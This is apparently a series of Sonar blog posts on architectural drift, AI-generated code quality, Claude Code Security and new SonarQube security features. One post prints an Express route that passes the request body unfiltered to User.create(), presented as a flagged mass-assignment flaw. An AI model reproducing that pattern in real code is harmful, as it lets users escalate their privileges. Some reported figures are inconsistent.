The architecture gap is the growing divergence between the intended design of a codebase and the actual structure that emerges as teams prioritize delivery speed over architectural integrity, making the code progressively harder to change.
Symptoms include high coupling between modules, duplicated logic across services, and unmaintainable class hierarchies that force developers to understand large sections of the codebase to make small changes.
SonarQube's maintainability analysis, including cyclomatic complexity, cognitive complexity, and duplication detection, quantifies architectural debt and surfaces the specific patterns that are driving increased change cost.
Resolving the architecture gap requires both tooling to surface the problem objectively and a quality culture that treats structural improvement as a continuous activity rather than a periodic big-bang refactoring effort.

We have all been there. It is 4:30 PM on a Friday. You are wrapping up a feature that needs to ship next week. You just need to get one piece of data from the Billing service into the UserProfile component.

The "correct" architectural path involves creating a new interface in the Core layer, implementing it in Infrastructure, and injecting it. That is an hour of work. Or, you could just add a direct import statement, a quick "shortcut" across the layers. It works, the tests pass, and you go home on time.

One shortcut does not kill a project. But technical debt is rarely about one shortcut. It is about the accumulation of hundreds of these micro-decisions over time. Eventually, the clean, layered architecture you drew on the whiteboard on Day 1 dissolves. The "Presentation" layer is talking directly to the "Database" layer. Circular dependencies (tangles) appear like knots in a shoelace. Take a look at this screenshot

Since there is no defined relationship between “Presentation” and “Database”, a coded direct relationship falls outside the intended architecture.

This divergence over time between the intended architecture and the current architecture of a project is called architectural drift. It is the silent killer of engineering velocity. The structural debt accumulated from architectural drift is why "simple" changes in legacy codebases take three days instead of three hours.

For years, we have tried to solve this with wikis, distinct "architect" roles, and manual code reviews. But documentation begins to rot the moment it is written, and architects often don’t maintain their architectural documentation. Human reviewers cannot keep an entire dependency graph in their heads. Some form of living software architecture documentation to aid teams is missing.

That changes now. With the new architecture capability in SonarQube, we are moving architectural governance out of the wiki and into the workflow. Here is how it works, and why it matters for your daily dev loop.

The problem: The documentation-reality gap

Most organizations have guidelines. They have rules about which modules can talk to which, where domain logic should live, and how data should flow. These guidelines exist for a reason: to keep the code maintainable, testable, and modular.

The problem is not the guidelines; the problem is visibility and workflow.

When you are deep in the IDE, focused on syntax and logic, the "architecture" is an abstract concept. You cannot see that importing com.app.utils into com.app.domain creates a cycle. You only see that the compiler accepts it.

This disconnect creates a documentation-reality gap.

The intended architecture: The pristine mental model in the lead architect's head or captured in software design documentation.
The actual architecture: The messy, tangled reality of the codebase.

As this gap widens, you enter the "Big Ball of Mud" phase. Refactoring becomes risky because you don't know what will break. Onboarding new developers takes months because there is no logical structure to follow. And with the rise of AI assistants generating code at breakneck speeds, this entropy is accelerating. AI agents optimize for local correctness (the function works), not global structural integrity (is the architecture respected).

We need a way to see the reality and enforce the intent.

Introducing architecture in SonarQube

SonarQube has introduced a dedicated architecture capability designed to bridge this gap. It works by treating your architecture as a tangible, trackable quality metric, just like code coverage or security vulnerabilities. When you have the capability added to your project, you will see a link on the branch page of your project

Clicking that link takes you to the summary page where it allows you to analyze the architecture of the project

Architecture operates on 2 core concepts:

Structure: How your code is organized (containers, packages, directories).
Relationships: How those containers interact (dependencies, imports).
Design: The rules that govern those relationships [Coming Soon].

By analyzing your source code, SonarQube reverse-engineers the actual architecture, making the up to date current architecture available to all (is this not great?) and compares it against your intended architecture. When they don't match, it creates an issue in SonarQube that fits seamlessly into the team's standard daily workflow.

Here is how this capability empowers you to take back control of your codebase.

1. Visualization: Seeing the invisible

The first step to fixing a problem is seeing it. SonarQube generates an architecture map of your codebase. This isn't a static image; it's a live, interactive visualization of your project's dependencies.

The map uses "levelization" logic to organize your containers.

Left side: High-level orchestrators and UI components.
Right side: Low-level utilities and core domain entities.
Flow: Dependencies should generally flow from left to right.

If you see an arrow pointing backwards (right-to-left), you instantly spot a potential feedback loop or layering violation. You can zoom in from high-level modules down to specific packages, inspecting the "weight" of each container based on lines of code.

For new developers joining a team, this is a superpower. Instead of grepping through files to build a mental map, they can look at the Structure Map and understand the "lay of the land" in minutes.

2. Definition: the "intended architecture"

Once you see what you have, you can define what you want. The intended architecture editor allows technical leads to model the ideal structure.

This works on an allow-list principle. You explicitly define which relationships are valid.

Rule: sonar-architecture-frontend is allowed to depend on sonar-architecture-analysis.
Implication: sonar-architecture-frontend is not allowed to depend on sonar-architecture-plugin.

You can even create placeholders for components that don't exist yet. If you are planning a migration from a monolith to microservices, you can model the future state (e.g., a "Shipping Service" container) and track your progress as you move code into it.

3. Enforcement: Catching the drift

This is where the rubber meets the road. Once the intended architecture is defined, SonarQube monitors every analysis for deviations.

The forbidden dependency: If a developer adds an import that violates your rules (e.g., the Presentation layer importing the Database layer), SonarQube raises a forbidden dependency issue.

You catch the drift before it is even committed.

The wrong location: Have you ever found a file that clearly belongs in the Utils folder but was lazily dropped into the root directory? Or a domain object hiding in the UI package?

SonarQube detects when a file is in the wrong location according to your model. It helps you keep the house clean, ensuring that file organization matches logical intent.

4. The tangle: Breaking the cycle

Another powerful feature, which works out-of-the-box without any configuration, is tangle detection. This automated detection is crucial because, in large codebases, the sheer number of structural issues requires an architect or team lead to prioritize the most critical tangles and turn them into clear, actionable directives for the development team.

A "tangle" is a cyclic dependency. Package A depends on Package B, and Package B depends on Package A.

Why it hurts: Tangles couple components tightly. You cannot test A without B, and you cannot test B without A. They ruin build times because compilers have to process them together. They make extracting modules impossible.
The solution: SonarQube identifies these cycles automatically. It highlights the specific links creating the knot, giving you a roadmap to untangle your code.

From the architecture summary page, clicking tangles takes you to the list of tangles that your codebase contains.

You can see that there are circular dependencies in the com.sonarsource.architecture.service.slider namespace, which goes against the intended architecture.

Architecting for the AI era

We are entering an era of "Vibe Coding", where developers describe what they want, and AI agents generate the implementation. This is amazing for productivity, but risky for structure and maintainability.

AI models are probabilistic. They predict the next token based on patterns, not on your company's specific architectural guidelines. An AI might happily generate a circular dependency to solve a tricky import error, or duplicate logic instead of reusing a shared module.

With SonarQube’s architecture capability, you can embrace AI without fear. You adopt a "Vibe, then Verify" workflow.

Vibe: Let the AI generate the boilerplate and the logic.
Verify: Let SonarQube check that the AI's output adheres to your architectural rules.

If the AI introduces a forbidden dependency, the tool catches it. You act as the architect, reviewing the structural integrity of the AI's work, ensuring that today's speed doesn't become tomorrow's technical debt.

How to get started: Focusing on new code

Implementing architectural rules on a 10-year-old codebase can feel daunting. You might turn it on and see 5,000 violations.

Do not panic. You do not need to stop development to fix the past.

SonarQube applies the focus on new code methodology to architecture. You can configure your quality gate to enforce these rules only on new code to help keep a handle on ensuring all new code fits your intended architecture.

Existing mess: Acknowledged, but park it for now. Changing it can be challenging and risks introducing new issues.
New code: Must remain pristine. Also it's easier to manage fixing issues in new code since it's fresh in your mind.

If you touch a file to add a feature, you fix the architectural issues in that file. Over time, the codebase naturally heals. You stop the bleeding immediately, and gradually pay down the debt without bringing the feature factory to a halt.

Conclusion: Applications that lasts

Architecture is not about drawing boxes and arrows that nobody looks at. It is about enabling your team to move fast, indefinitely.

When you respect the structure:

Tests run faster because components are isolated.
Refactoring is safer because dependencies are explicit.
Onboarding is easier because the code maps to reality.

The new architecture capability in SonarQube turns "following guidelines" from a bureaucratic chore into an automated, helpful guardrail. It gives you the vision to see your codebase as it truly is, and the tools to shape it into what it should be.

Stop the drift. Visualize the reality. Build code you can trust.

The architecture capability is currently available in SonarQube Cloud and supports Java, JavaScript, TypeScript, Python and C#.

Code generation tradeoffs: A comparison of Claude Opus 4.5 and 4.6

Killian Carlsen-Phelan — Tue, 24 Feb 2026 16:00:00 GMT

TL;DR overview

This post compares the performance of Anthropic's Claude model versions—Opus 4.5 and Sonnet 4.6—across coding and code quality tasks relevant to software development workflows.
The analysis evaluates differences in code generation accuracy, instruction following, security vulnerability awareness, and maintainability of AI-generated code across the two model versions.
Findings inform decisions about which Claude model version is best suited for use in AI coding assistants and code review workflows where code quality and security accuracy are critical requirements.
Sonar uses leading LLMs including Claude in its AI CodeFix feature, and this type of evaluation helps determine which model versions produce the safest, highest-quality automated fix suggestions for SonarQube users.

When a new LLM version drops, we usually assume the line on the graph just goes up. We expect better quality and security. If you’re actually shipping code with these tools daily, however, you know the reality is a lot messier. Models get smarter, but they also interpret instructions differently and prioritize constraints in ways that can catch you off guard.

We recently ran a small experiment to see how Claude Opus 4.5 and the newer Opus 4.6 handled a specific backend task. The goal wasn't to see which one was necessarily better, but to understand the differences in their coding styles.

The results showed a fascinating tradeoff between architectural cleanliness and code security defaults. It also reinforced exactly why you can't just expect AI-generated code to be production-ready.

The experiment

We gave both models the exact same prompt to build a Node.js Express API.

The prompt:

Build a Node.js Express API for a 'User Directory' using Mongoose.

Requirements:

POST /users: Create a user.
GET /users/search: This is the most important feature. The frontend needs to filter by any field (name, age, settings.theme, etc.) and perform complex queries (like 'age greater than 20').

Constraint: Do NOT write manual query logic for each field. Make it completely dynamic so it works for any future schema changes without code updates.

We specifically included the completely dynamic constraint because it’s a classic trap that forces the model to choose between flexibility and strict input validation.

Claude Opus 4.5: Functional but slightly unpolished

First, we threw the prompt at Claude Opus 4.5. It spat out a working application that did exactly what we asked.

The code structure: The terminal output showed a standard, flat structure. It worked, but it looked a bit like a prototype.

The analysis: When we ran the code through SonarQube Enterprise, the results were mixed but secure.

Security: 0 Issues (A rating)
Reliability: 4 Issues
Maintainability: 8 Issues

The model prioritized safety but left some technical debt. SonarQube flagged several code smells, for example, detecting that Claude Opus 4.5 used a standard array where a Set would have been faster, and declared variables that didn't need to exist

In short: Claude Opus 4.5 wrote code that was safe, but we’d have to spend an hour cleaning up the logic before letting it merge.

Claude Opus 4.6: Clean architecture, different priorities

Next, we ran the same prompt through Claude Opus 4.6, and the shift in priorities was immediately apparent.

The code structure: Claude Opus 4.6 seemed to care more about architecture. It created a dedicated middleware/buildQuery.js file to handle the dynamic search logic, which separated concerns much better than the previous version. It seemingly understood the dynamic constraint on a structural level.

The analysis: The SonarQube scan revealed an interesting shift in the model's priorities.

Security: 1 Issue (Blocker- E rating)
Reliability: 2 Issues (A rating)
Maintainability: 4 Issues (A rating)

The JavaScript code smells were 50% fewer, and overall it appeared to be cleaner, easier to read, and more modular (one interesting note- we have found that this is not always necessarily the case). However, in its effort to satisfy our request for a completely dynamic API, the model ignored a critical security guardrail.

The finding: Mass assignment

Because we asked for dynamic behavior without manual logic, Claude Opus 4.6 optimized for flexibility. Unfortunately, it introduced a mass assignment vulnerability in the creation endpoint.

Here is the snippet SonarQube flagged:

router.post('/', async (req, res, next) => {

  try {

    const user = await User.create(req.body); 

    res.status(201).json(user);

  } catch (err) {

    next(err);

  }

});

By passing req.body directly into User.create(), the API lets a user potentially overwrite protected fields like isAdmin or role. If the schema has these fields, a user could inject that into the body and grant themselves privileges.

Even though the code that Claude Opus 4.5 was a bit clunkier, it avoided this specific pitfall. Claude Opus 4.6 provided a more elegant solution to the search problem, but applied that same unrestricted dynamism to the creation logic, resulting in a security blocker.

What this means for developers

This experiment isn't a knock on Claude Opus 4.6. In fact, 4.6 did a better job of following the architectural spirit of the prompt.

However, it highlights that different models (and different versions of the same model) have different personalities.

Claude Opus 4.5 leaned conservative, resulting in safer but messier code.
Claude Opus 4.6 tended toward efficiency, being overly trusting but writing cleaner code.

As developers, we cannot assume that a newer or more powerful model will automatically handle security edge cases, especially when we give it constraints that encourage flexibility.

Vibe, then verify

This is a prime example of where the vibe, then verify workflow becomes absolutely critical. AI agents are incredibly powerful for scaffolding projects and solving complex logic problems, but they are essentially pattern-matching engines that try to satisfy your prompt as best as possible.

If you ask for dynamic, they’ll give you dynamic, even if that sometimes comes at the cost of security.

The value of integrating SonarQube into this developer workflow is that it provides a consistent baseline. It doesn't care which model version you used, only about the code that was produced. The unpolished logic of Claude Opus 4.5 is caught along with the security oversight of Claude Opus 4.6 with equal impartiality.

Take a look at the LLM Leaderboard for more information on how different models compare in quality and security.

Thoughts on Claude Code Security

Manish Kapur — Mon, 23 Feb 2026 16:00:00 GMT

TL;DR overview

Sonar's analysis of Claude Code examines the security implications of AI-generated code, finding that LLM outputs require the same rigorous verification as human-written code.
AI coding tools like Claude can introduce subtle vulnerabilities—including tainted data flows and insecure patterns—that appear syntactically correct but fail security review.
A vibe, then verify approach combines AI-generated speed with automated SonarQube verification to catch vulnerabilities before they reach production.
Teams adopting AI coding assistants should enforce quality gates on all code regardless of origin, treating AI-generated contributions with equal or greater scrutiny.

A few days ago, Anthropic announced Claude Code Security, an agentic approach to vulnerability identification and remediation. Similar to the announcement of Aardvark (aka Codex Security) from OpenAI a few months ago, these initiatives have sparked significant discussion about the future of cybersecurity.

This blog post aims to explain what Claude Code Security is (recognizing few details are currently available), and how enterprises and developers should think about its role in their cybersecurity toolchain.

What is Claude Code Security?

Claude Code Security is a research preview from Anthropic that uses AI models to scan codebases, identify specific high-severity vulnerabilities (such as memory corruption, injection flaws, and authentication bypasses), and patch the issues they find.

In our view, what Anthropic announced is akin to an agentic security researcher. It has long been considered best practice to employ a range of techniques, from hiring a security research team or ethical hackers to having bug bounty programs that search for vulnerabilities in applications. These approaches complement other cyber defenses, including SAST and DAST, by looking for issues that are typically missed. Claude Code Security focuses on high-severity vulnerabilities including memory corruption, injection flaws, authentication bypasses, and complex logic errors that pattern-matching tools typically miss.

Once it finds an issue, it uses a technique called adversarial verification to try to confirm that the issue is real—and then it generates a patch to attempt to address the identified issue.

Agentic security research shows a lot of promise in improving overall codebase and application security. By amplifying the work of security researchers and addressing the last mile of remediation (similar to our SonarQube Remediation Agent, now available in Beta), it creates a force multiplier. We expect this will result in healthier, more secure codebases when used in combination with existing techniques. As Anthropic says in their product description, “Claude Code Security complements your existing tools by catching what they might miss and closing the loop on remediation.”

How does Claude Code Security fit with SonarQube?

While valuable, Claude Code Security solves a different use case than SonarQube.

SonarQube systematically evaluates all of your code, while Claude Code Security engages in a more sampling based, spot-checking approach.
SonarQube consistently and repeatedly evaluates a defined set of issues, providing assurance they have been reviewed, while Claude Code Security is more opportunistic and looks for a different class of issues.
SonarQube employs sophisticated mathematical reasoning techniques that move beyond simplistic pattern matching to evaluate complex issues such as data flows. All while maintaining the industry’s lowest false positive rate. Claude Code Security employs probabilistic reasoning techniques that are subject to hallucinations and uses token-consuming, biased, and less reliable LLM-based verification techniques.

In other words, the two tools serve very different but complementary jobs:

SonarQube: Rigorous, consistent, fast, and low-cost code review and verification
Claude Code Security:Opportunistic hunting for rare but high-value vulnerabilities.

SonarQube’s approach ensures that every line of code meets defined standards for reliability and maintainability while also monitoring open-source dependencies for known vulnerabilities and license risks.

This methodology is deterministic and consistent: given the same code, you get the same result every time. It is comprehensive: the entire codebase is checked, not just selected parts. And it is explainable: when an issue is flagged, you can see exactly which rule was triggered and why.

This matters for a few practical reasons:

Auditors and compliance frameworks require consistent, repeatable evidence that code has been checked.
Development teams need results they can act on in their normal workflow—inside their IDE, as part of a CI/CD pipeline, before code is merged.
Security coverage needs to extend beyond your own code to include open-source dependencies, infrastructure configuration, and secrets that may have been accidentally committed.

Dimension	SonarQube	Claude Code Security
Primary goal	Systematic code verification and review	Spot-checking and discovery
Coverage	Entire codebase, every line of code, every scan	Opportunistic; not comprehensive and guaranteed to be exhaustive
Consistency	Deterministic Same code → same result, every time	Probablistic Results may vary between runs
False positive (FP) rate	~ 3%	Unknown, LLMs inherently produce FPs
Explainability	Clear rule reference for every finding	AI reasoning; may be harder to audit
Compliance use	Accepted by auditors and regulators	Not currently suitable for compliance evidence
Speed/cost	Fast and predictable cost	Slower and high-token consumption
Adoption	7M+ users, embedded in CI/CD workflows and integrated with major AI coding tools	Currently in research preview; available only in Claude Code

The value of SonarQube systematic codebase analysis is not just in finding individual vulnerabilities. It is in being able to demonstrate, continuously and verifiably, that your entire codebase has been checked against a well-defined standard.

The bigger picture: how security toolchains actually work

The most security-conscious organizations rely on a portfolio of tools. A typical mature security practice already combines several layers of defense, as no single method catches everything:

Automated systematic codebase analysis integrated into the development workflow (SAST, SCA, secrets, IaC)
Dedicated security testing tools for specific vulnerability classes
Internal security teams who review architecture and design
External security researchers, often through bug bounty programs, who look for what everyone else missed

Claude Code Security fits naturally into the fourth category. It is an AI-powered security researcher—one that can be pointed at a codebase to preemptively identify issues before they can be weaponized.

The right question is not "which tool do we use?" It is "what does each layer of our security practice cover, and where are the gaps?" Systematic codebase analysis and AI-assisted research address fundamentally different challenges.

What is the next evolution of application security?

The emergence of AI-powered security research tools is a positive development for the industry. Finding vulnerabilities that require contextual reasoning—understanding what a piece of code is supposed to do, and identifying where that intent breaks down—has historically required skilled human researchers. Making that capability more accessible and scalable is valuable.

At the same time, the properties that make AI research tools interesting are also the properties that make them unsuitable as a replacement for systematic codebase analysis. They are not exhaustive. They are not consistent run-to-run. They do not produce the kind of structured, auditable evidence that compliance frameworks require.

The future of application security is likely one where both layers are stronger. Deterministic, comprehensive scanning handles the verification layer—ensuring that every known class of vulnerability has been checked, across all code, continuously. AI-assisted research handles the exploratory layer—finding the things that rules cannot anticipate. Together, they cover more ground than either could alone.

Claude Code Security is a spot-checking tool.

SonarQube is a comprehensive audit and verification platform.

Each has a role.

In summary:

Systematic codebase analysis (SAST, SCA, secrets, IaC) by SonarQube employs mathematical reasoning to provide comprehensive, consistent, auditable coverage of your entire codebase. It is the foundation of any serious security practice.
AI-assisted security research finds context-specific vulnerabilities that rules cannot anticipate—the same job that human security researchers and bug bounty programs have always done.
These are complementary capabilities, not competing ones. The strongest security posture uses both.
For teams with compliance requirements, regulatory obligations, or a need to demonstrate consistent security coverage, systematic code analysis remains essential—and cannot be replaced by a research preview tool.

Anthropic has built something genuinely useful, and we think the teams that will benefit most from it are the ones who already have a solid systematic code analysis foundation in place. That is what gives AI-assisted research the context it needs to be most effective.

Security that works for you: Exploring the new enhancements in SonarQube

Satinder Khasriya — Fri, 20 Feb 2026 16:00:00 GMT

TL;DR overview

This post explores new enhancements in SonarQube that improve detection accuracy, developer experience, and integration capabilities across the product.
New and updated rules expand security and quality coverage across supported languages, helping teams catch more issues with fewer false positives in their existing workflows.
UI and reporting improvements make it easier for development leads to track code quality trends and communicate health metrics to stakeholders across the organization.
Teams should review updated quality profiles and rule sets when upgrading SonarQube to take full advantage of new detection capabilities available in the latest release.

In the high-velocity era of AI-driven development, the "engineering productivity paradox" has revealed a sobering truth: while tools can now generate code at a blistering pace, they often create a verification bottleneck that slows teams down and introduces hidden risks. At Sonar, we believe security should never be a trade-off for speed. Our latest enhancements in SonarQube establish a non-negotiable code verification layer designed to bridge this trust gap, unifying the analysis of first-party, AI-generated, and third-party code. From malicious package detection that thwarts supply chain attacks to security focussed dashboards, we are empowering developers to write good quality code with more precision and less noise than ever before.

Here is a look at the new security features available in SonarQube.

Stop malicious packages in your CI/CD pipeline

In the modern software supply chain, public package managers like npm and PyPI are prime targets for malware. Attackers no longer just rely on typosquatting; they hijack trusted maintainer credentials to compromise official, widely used packages. This poses a massive risk in the AI era, where the pressure to build at speed often leads to a "vibe" approach—pulling in dependencies without rigorous verification. Unlike standard security vulnerabilities, a malicious package is a critical blocker that can immediately exfiltrate data and infect your entire development environment.

To stop these threats before they reach production, SonarQube now includes malicious package detection within SonarQube Advanced Security. This feature automatically checks third-party dependencies against a live database of known threats directly within your CI/CD pipeline. By setting quality gates to fail the moment a risky package is detected, your team can maintain high velocity while ensuring that every piece of code—whether human-written or AI-generated—remains production-ready and secure. This capability is available in SonarQube Cloud and SonarQube Server 2026.1 LTA release. Learn more here.

Bringing visibility to your supply chain with SBOM import (beta)

Modern software supply chain management faces a critical visibility gap, as third-party components now comprise up to 90% of most software applications. Furthermore, evolving regulatory mandates—such as NIST SSDF and Executive Order 14028—now require organizations to maintain a machine-readable Software Bill of Materials (SBOM). Without a way to operationalize this data, SBOMs remain static documents rather than active security assets, leaving platforms vulnerable to identification lag and compliance gaps.

To solve these challenges, SonarQube Server 2026.1 LTA introduced the ability to import an SBOM as part of SonarQube Advanced Security. This feature allows platform engineering teams to import CycloneDX or SPDX SBOMs, providing universal visibility into previously opaque applications. By automatically cross-referencing this inventory against live vulnerability databases and enforcing quality gates, Sonar transforms the SBOM into a real-time defense mechanism. This ensures that every component—whether human-written, AI-generated, or third-party—meets the high standards required for production-ready code. Learn more.

Securing performance critical C/C++ applications (beta)

Managing dependencies in C and C++ has historically been a fragmented and manual process, often leaving performance-critical applications with an "opaque" supply chain. Unlike modern ecosystems with centralized package managers, C/C++ projects frequently pull from diverse sources, making it incredibly difficult for teams to track security vulnerabilities without constant, time-consuming audits. This visibility gap is a major liability for organizations in regulated industries—like automotive, aerospace, and medical—where ensuring that every third-party component is production-ready is not just a best practice, but a mandate for safety and security.

To solve this, SonarQube Server 2026.1 LTA brings deep Software Composition Analysis (SCA) to C and C++ projects using the Conan and vcpkg package managers. This enhancement allows developers and platform engineering teams to automatically identify known security vulnerabilities and license risks within their Conan and vcpkg dependencies directly in the existing SonarQube workflow. By integrating this feedback into the CI/CD pipeline, Sonar empowers teams to manage their C/C++ codebases with the same rigor and velocity as their Java or Python stacks, ensuring that even the most complex, low-level applications remain secure from the first line of code to the final build. Learn more.

Prevent secrets from entering your Git repository

Hard-coded secrets like API keys and passwords remain a critical security failure because once they enter a Git repository, they are no longer just a code issue—they become an incident response. Even if a developer deletes the credential in a subsequent commit, the secret persists in the version control history, where it can be recovered by anyone with access to the repository. This leads to a high-friction cycle of rotating credentials and purging repository history, which creates significant developer toil and disrupts delivery.

The new SonarQube Secrets CLI (beta) solves this by bringing automated detection directly to the developer's command line, enabling fast local checks before code is ever committed. By connecting the CLI to a pre-commit git hook, developers can automatically block sensitive data from leaving their laptops, ensuring that secrets never enter the Git history in the first place. This proactive approach helps teams avoid the costly, complex remediation and organizational compliance risks associated with repository leaks. Learn more.

The power of custom security dashboards

A significant challenge in the AI era is the verification bottleneck. While AI helps developers code faster, 96% of developers do not fully trust the accuracy of AI-produced code. This lack of trust often stems from inconsistent output, hallucinations, or the injection of hard-to-find security vulnerabilities. Dashboards are essential in the modern, data-driven landscape because they transform vast amounts of raw, complex information into a simplified, visual format that is easy to interpret at a glance.

Customizable dashboards are now available for SonarQube Cloud customers. This feature enables you to build tailored views that highlight the specific trends and indicators most relevant to your team’s security posture. These custom dashboards allow security champions and tech leads to create a dedicated security view that can surface critical risks—such as SQL injections, exposed secrets, or risky third-party dependencies—without the noise of unrelated metrics. This targeted visibility ensures that "looks correct but isn't reliable" code is caught before it ever reaches production. Learn more.

Managing the tricky relationship between AI and code security

Ekaterina Okuneva — Fri, 20 Feb 2026 14:00:00 GMT

TL;DR overview

AI code security risks are the biggest concern developers have about AI adoption—57% worry about exposing sensitive company or customer data, yet only 37% of organizations have tightened code security practices in response.
The risk is compounded by fragmented toolchains: teams use an average of four AI tools, and 35% of that usage happens through personal, ungoverned accounts, making centralized governance nearly impossible.
61% of developers agree AI often produces code that looks correct but isn't reliable—and only 28% currently use AI agents for security vulnerability patching, revealing a confidence gap.
A vibe, then verify approach—generating with AI while enforcing automated SonarQube verification in CI/CD—converts AI speed into durable security.

In the first five chapters of our State of Code Developer Survey report, we explored how AI has transitioned from a coding experiment to a daily professional necessity. We’ve examined the growing "trust gap," the sprawl of ungoverned tools, and the shifting nature of developer work.

In Chapter 5, we uncovered the reality of "the new developer toil." While 75% of developers hoped AI would reduce tedious tasks, our data showed that toil hasn’t disappeared—it has simply changed shape. Frequent AI users now spend nearly a quarter of their work week managing technical debt and correcting or rewriting unreliable AI-generated output. This effectively moved the pressure downstream to code management and verification.

This brings us to the sixth installment in our series, where we examine a critical tension in modern development: the tricky relationship between AI and code security.

Rising developer anxiety, stagnant preventative action

According to our study, the biggest concern developers have about AI code generation is security.

57% of developers worry that using AI risks exposing sensitive company or customer data

This is a significant majority voicing a clear fear about tools they are increasingly required to use.

However, there is a stark disconnect between this developer anxiety and overall action. Despite these high levels of concern, only 37% of organizations have become more rigorous about code security because of AI.

For leaders, this creates a massive blind spot. While developers are on high alert for new or subtle vulnerabilities (47%) and severe security flaws (44%) introduced by AI, the official governance frameworks are struggling to keep pace.

Big companies feel the risk most

These concerns are most acute in large enterprise environments.

In organizations with over 1,000 employees, the concern regarding data exposure jumps to 61%

Enterprises are also significantly more concerned than smaller businesses about specific, advanced attack vectors:

Direct prompt injections: 34% for enterprise vs. 25% for SMB.
Indirect prompt injections: 35% for enterprise vs. 25% for SMB.
Compliance: 38% of enterprises worry about meeting industry-specific standards, compared to 28% of SMBs.

The trap of code that looks correct but isn't

Why is this risk so difficult to manage? The issue lies in the deceptive nature of the logic generated by LLMs.

61% of developers agree that AI often produces code that "looks correct but isn't reliable."

Unlike a syntax error that breaks the build immediately, AI can generate plausible-looking logic that contains hidden bugs or security vulnerabilities. This can create a false sense of security that leads teams to skip thorough reviews, essentially building a "security debt" that is much more expensive to fix once it reaches production.

This security debt is further compounded by the fragmented nature of the modern AI toolchain. On average, teams juggle four different AI tools, and 35% of that usage happens through personal, ungoverned accounts. This "bring your own AI" (BYOAI) culture means that even as organizations try to implement stricter controls, a significant portion of the code is being generated and handled outside the secure corporate environment, making centralized governance nearly impossible.

Moving toward a culture of verification

The takeaway for engineering leaders is clear: you cannot rely on AI to secure the code it creates. Only 28% of developers are currently using AI agents for security vulnerability patching, showing a lack of confidence in AI's ability to solve the very problems it might introduce.

To escape this paradox, organizations can implement a "vibe, then verify" approach. This means granting teams the freedom to "vibe"—to experiment and create boldly with AI—while maintaining a rigorous, deterministic framework to "verify" every line of code.

By integrating automated verification tools like SonarQube directly into the workflow, teams can ensure that the speed gains of AI lead to real-world quality and security improvements, rather than just faster-growing risk.

Read the full report

This security gap is just one part of the story. The full State of Code Developer Survey report covers the impact of AI on technical debt, agentic workflows, and the differing perspectives of junior and senior developers.

Download the full report here

The intelligence paradox: Why Claude Opus 4.6 requires verification

Prasenjit Sarkar — Fri, 20 Feb 2026 14:00:00 GMT

TL;DR overview

Claude Opus 4.6 requires verification because even state-of-the-art LLMs produce code with security vulnerabilities, logic errors, and subtle bugs that demand the same scrutiny as human-written code.
Sonar's analysis shows that AI-generated code from Claude and other models introduces tainted data flows, insecure patterns, and complexity issues at rates that make automated verification essential.
SonarQube's AI Code Assurance provides deterministic, repeatable verification that catches the classes of errors AI models routinely introduce, closing the gap between AI speed and production safety.
Organizations using Claude or any AI coding assistant should enforce automated quality gates on all generated code rather than relying on manual review alone.

The professional landscape of software engineering in 2026 has reached a definitive inflection point, characterized by the transition from AI coding assistance to autonomous agency. At the center of this transformation lies the release of Claude Opus 4.6, a model that signals a fundamental shift towards a future state made up of “agentic” workflows.

While its predecessor, Claude Opus 4.5, established the industry high-water mark for structural code quality and senior-level architectural reasoning, Opus 4.6 introduces a level of autonomy, long-context retrieval, and adaptive reasoning that necessitates a re-evaluation of the Software Development Life Cycle (SDLC).

Read on for an exhaustive comparison of the technical architectures of Claude Opus 4.5 and 4.6, an evaluation of their performance across industry-standard benchmarks, and an outline of Sonar’s focus on embracing agentic development.

The architectural shift: From assistant to autonomous agents

Claude Opus 4.6 is built for autonomy. With a context window expanded to 1 million tokens and the introduction of adaptive thinking, the model can now hold an entire large-scale codebase in memory and calibrate its cognitive effort based on task complexity. In practice, this means the model plans more carefully and stays productive over longer sessions. Partners have reported its ability to handle multi-million-line codebase migrations like a senior engineer, adapting its strategy as it learns the environment. But this “intelligence” comes with a hidden cost that organizations cannot afford to ignore.

Understanding the intelligence paradox

The latest benchmarks reveal a disconnect. While Claude Opus 4.6 achieved a 31.2 percentage point jump in ARC AGI 2 (a measure of abstract reasoning), its production code quality has declined compared to its predecessor, Opus 4.5.

The data from Sonar’s static code analysis as shown in our Leaderboard indicates:

Declining pass rates: The code pass rate decreased from 83.62% to 82.38%.
Rising issue density: Issue density increased by 21%, moving from 15.15 to 18.33 issues per thousand lines of code.
Increased complexity: Code smells have increased by 21%, accompanied by a 50% spike in cognitive computational complexity.

The following table highlights the specific performance and code quality regressions observed between the two models:

Metric	Claude Opus 4.5	Claude Opus 4.6	Change (%)
Pass rate (functional skill)	83.62%	82.38%	-1.5%
Issue density (per 1k lines)	15.15%	18.33%	+21.0%
Cognitive computational complexity	4.13%	6.20%	+50.0%
Regex pattern complexity	22.28%	25.91%	+16.0%
Deprecation warnings	1.23%	3.19%	+159.0%

The security landscape

Our LLM leaderboard shows that vulnerability density in code generated by Opus 4.6 has increased by 55% compared to the previous version.

Areas where security vulnerabilities has been increased:

Path traversal risks: There has been a 278% increase in path traversal vulnerabilities.
Critical bug growth: Critical bugs have increased by 336% from 11 to 48 per million lines of code.
Resource management: Leaks involving memory and file handles are up by 43%.

Solving the engineering productivity paradox

This brings us to the engineering productivity paradox. AI is accelerating the speed at which code is generated, but overall engineering velocity is often stagnant because of a massive verification bottleneck.

The cost of this bottleneck is real. Organizations using Opus 4.6 may find their token usage and costs doubling due to the model’s more aggressive, autonomous exploration. Without an automated way to verify this volume, your innovation budget will inevitably be consumed by the high cost of rework and security remediation.

How Sonar helps you verify agentic code

To succeed in the agentic era, teams must grant themselves the freedom to “vibe,” to use conversational language and intuition to ideate and scaffold, while maintaining the accountability to verify.

Sonar provides the essential trust and verification layer for the AI-enabled SDLC.

SonarQube for IDE: Our IDE extension acts as a real-time coach, catching “context-deficient” code and subtle vulnerabilities as they are written, no matter what AI assistant you use.
SonarQube MCP Server: We have built a direct bridge for AI agents. Tools like Claude Code, Codex or Cursor can now “consult” the SonarQube analysis engine to identify and fix issues autonomously before the code ever reaches a human reviewer.
SonarQube Cloud: Our SaaS solution integrates with DevOps platforms to ensure code quality and security, providing continuous inspection and automated PR decoration for teams prioritizing speed and scalability.
SonarQube Server: For organizations requiring ultimate control, this self-managed platform delivers deep analysis and actionable code intelligence across the entire enterprise, whether deployed on-premises or in your own cloud infrastructure.

Release with confidence

Claude Opus 4.6 is a powerful new collaborator, but its tendency to produce “smart bugs” means that trust cannot be implicit. By integrating automated code quality and code security checks directly into your workflow, you can capture the speed of agents without sacrificing the health of your codebase. In the era of agentic development, the winners will be the teams that stop micromanaging writing code and start automating the “verify.”

